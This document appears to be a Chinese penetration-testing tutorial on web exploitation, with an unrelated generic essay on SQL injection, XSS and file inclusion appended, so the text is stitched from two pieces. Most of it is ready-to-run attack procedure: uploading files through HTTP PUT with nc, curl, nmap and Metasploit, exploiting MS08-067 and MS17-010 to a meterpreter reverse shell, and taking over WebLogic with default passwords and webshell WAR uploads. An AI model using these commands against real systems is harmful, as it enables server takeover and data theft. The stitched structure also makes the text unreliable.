Web漏洞利用姿势的示例分析

1、HTTP PUT方法利用

PUT是用来进行文件管理的方法,若运维人员未修改Web服务器缺省配置,依然支持这些方法,则可以向服务器文件系统任意上传文件。

1.1、 Netcat利用PUT方法

Web漏洞利用姿势:看看黑客是怎么入侵你的网站的

Netcat是一款非常出名的网络工具,简称“NC”,有渗透测试中的“瑞士**”之称。它能够实现端口监听、端口扫描、远程文件传输以及远程shell等多种功能。

查看得知Web服务开启PUT方法后,输入如下命令上传文件:

nc IP PORT

PUT /dav/hack.txt HTTP/1.1

Host: IP

按两次回车可以看到hacked.txt文件已经成功创建,状态码是201,文件创建位置为/dav/目录。

1.2、Nmap利用PUT方法

命令:

nmap -p 端口 IP -script http-put-script-args http-put.url='
/dav/test.php'
,http-put.file='
/root/test.php'

命令讲解:

-script http-put //选择http-put脚本,脚本支持使用http put方法上传文件。

-script-args //设置脚本参数1、2

http-put.url='
/dav/test.php'
//设置参数1为上传目标文件路径

http-put.file='
/root/test.php'
//设置参数2为上传本地文件路径。

图中可以看到通过Nmap脚本上传成功。

1.3 BurpSuite利用PUT方法

使用日常见面的BurpSuite访问上传目标路径抓取数据包,修改数据包请求方式及上传路径,在请求正文中写入文件内容,发包至Web服务器。

服务器响应包显示文件创建成功。

1.4 CURL利用PUT方法

CURL是一个利用URL语法在命令行下工作的文件传输工具,通过指定的URL来上传或下载数据,并将数据展示出来。curl中的c表示client,而URL,就是URL。

通过PUT方法创建文件命令如下:

命令1:

curl -i -XPUT -H “Content-Type: text/plain;
charset=utf-8” -d “hack completed” http://192.168.40.4/dav/hack.php

命令讲解:

-i/--include //输出时包括protocol头信息

-X/--request <
command>
//指定PUT命令

-H/--header <
line>
//自定义头信息“Content-Type:text/plain;
charset=utf-8”传递给服务器

-d/--data <
data>
//HTTP POST方式将文本写入创建的http://192.168.40.4/dav/hack.php

命令2:

curl -i -X PUT -H “Content-Type:application/xml;
charset=utf-8″ -d @”F:\1.php” http://192.168.40.4/dav/hack.php

命令讲解:

-d @“filename” //从文件读入内容

1.5 QuickPuT脚本利用PUT方法

利用QuickPut这个Python命令行工具,我们可以使用HTTP PUT方法将文件上传到服务器。

上传命令:

python2 QuickPut.py F:\1.php http://192.168.40.4/dav/hack1.php

命令讲解:

python QuickPut.py <
本地文件>
<
目标URL>

1.6 Metasploit利用PUT方法

Metasploit的辅助模块auxiliary/scanner/http/http_put可实现文件上传,删除操作。

命令:

使用http_put模块进行辅助扫描http服务

show options //显示模块参数

set RHOSTS 192.168.40.4 //设置目标IP

set PATH /dav/ //设置目标路径

set payload php/meterpreter/reverse_tcp //设置攻击载荷

set filename msf.php //设置上传文件名

set FILEDATA file://root/test.php //设置上传本地文件数据路径

exploit //开始攻击

返回结果显示成功上传文件。

2.SMB漏洞利用

进行信息收集端口扫描后发现主机开启139,445端口且banner显示为Microsoft Windows,则会联想到与139、445端口SMB漏洞,比较常见的有ms17-010,ms08-067等。

漏洞检测

命令:

namp --script=/usr/share/nmap/scripts/smb-vuln-ms08-067.nse –sTIP

namp --script=/usr/share/nmap/scripts/smb-vuln-ms17-010.nse –sTIP

命令讲解:

--script=/usr/share/nmap/scripts/smb-vuln-ms08-067.nse //使用Nmapms08-067漏洞扫描脚本

-sT //使用TCP扫描

若输出结果为:

smb-vuln-ms08-067:

VULNERABLE:

Microsoft Windows system vulnerable toremote code execution (MS08-067)

State: VULNERABLE

IDs: CVE:CVE-2008-4250

The Server service inMicrosoft Windows 2000 SP4, XP SP2 and SP3, Server 2003 SP1 and SP2,Vista Goldand SP1, Server 2008, and 7 Pre-Beta allows remote attackers to executearbitrarycode via a crafted RPC request that triggers the overflow during pathcanonicalization.

Disclosure date: 2008-10-23

References:

https://technet.microsoft.com/en-us/library/security/ms08-067.aspx

https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-4250

则说明存在ms08-067漏洞,ms17-010同上。

漏洞利用

使用MSF smb攻击模块,利用ms08-067与ms17-010漏洞。

msf>
use exploit/windows/smb/ms08_067_netapi

msfexploit(ms08_067_netapi) >
set RHOST IP

msfexploit(ms08_067_netapi) >
exploit

[*]Started reverse TCP handler on 本地监听IP端口

正在自动检测目标IP:445

[*]目标IP:445- Fingerprint: Windows 2000 - Service Pack 0 - 4 - lang:English

[*]目标IP:445- Selected Target: Windows 2000 Universal

[*]目标IP:445- Attempting to trigger the vulnerability...

[*]Sending stage (957487 bytes) to 目标IP

[*]Meterpreter session 2 opened (监听IP端口 ->
目标端口反弹)

meterpreter>

ms17-010漏洞利用同上。

3.Weblogic漏洞利用

在渗透测试中常常会遇到Weblogic Server应用服务器,看到Weblogic Server后联想到Weblogic Server可能会存在后台管理弱口令、JAVA反序列化漏洞、任意文件上传漏洞等许多本版的各种CVE漏洞。下面分享下Weblogic各种漏洞的利用手法。

3.1 后台登录弱口令

常见Weblogic Server登录弱口令:

weblogic/weblogic

weblogic/weblogic1

weblogic/weblogic10

weblogic/weblogic123

若存在即可登录应用服务器管理后台,上传webshellwar包。

上传后在应用服务器中部署war包

上传部署war包成功后即可访问大马。

3.2 JAVA反序列化漏洞

CVE漏洞可直接使用脚本检测,然后根据漏洞代码寻找exp脚本漏洞利用。

Weblogic漏洞检测脚本十分强大,可检测各种CVE、管理后台路径、SSRF、弱口令、并支持后期扩展。

也可利用Java反序列化漏洞利用工具直接进行检测利用。漏洞工具提供漏洞检测、命令执行、文件上传、批量检查功能。

3.3 Weblogic 任意文件上传漏洞

通过爆破Weblogic返回信息。

获取到登录口令、服务名、随机字符目录,构造上传POC进行测试文件上传。

在/bea_wls_deployment_internal/DeploymentService路径下传入以下数据

服务器返回上传成功和文件绝对路径。

访问此上传文件路径后显示上传文件内容

http://IP/bea_wls_deployment_internal/shell.jsp



Web安全一直是网络世界中备受关注的话题。随着互联网的普及,越来越多的网站遭到黑客攻击。黑客通常会通过利用Web漏洞来入侵网站。在本文中,我们将从三个角度分析黑客利用Web漏洞的姿势。
一、SQL注入攻击
SQL注入攻击是一种常见的Web漏洞攻击方式。黑客通过构造恶意的SQL语句来绕过Web应用程序的安全机制,进而获取目标网站的敏感数据或者控制网站服务器。SQL注入主要分为基于错误的SQL注入,盲注SQL注入和时间盲注SQL注入。黑客可以通过SQL注入技术轻松地绕过登录认证。
二、跨站脚本攻击
跨站脚本攻击(XSS)是一种通过在Web页面中插入恶意脚本来攻击用户的攻击方式。黑客通过在Web页面中插入恶意代码,可以获取用户的个人信息,窃取Cookie等操作。XSS攻击主要分为反射型XSS,存储型XSS和DOM型XSS。对于网站来说,最常见的防范XSS攻击的方法是对所输入的内容进行过滤或转义。
三、文件包含漏洞
文件包含漏洞是一种常见的Web攻击方式。黑客通过利用文件包含漏洞,可以轻松地读取和修改网站的敏感文件,从而控制整个网站的服务器。文件包含漏洞主要分为本地文件包含漏洞和远程文件包含漏洞。为防范文件包含漏洞攻击,开发人员需要对所有输入的参数进行严格过滤,并且将动态生成的文件放到非Web访问目录。
总结:Web漏洞利用姿势千变万化,防范措施需要因地制宜。以上三种Web漏洞攻击方式只是其中的冰山一角。网站开发人员需要思考,如何在保障用户使用的前提下,对Web漏洞进行严格防范,保护用户的安全。对于网站用户来说,需要加强安全意识,防范遭受黑客攻击。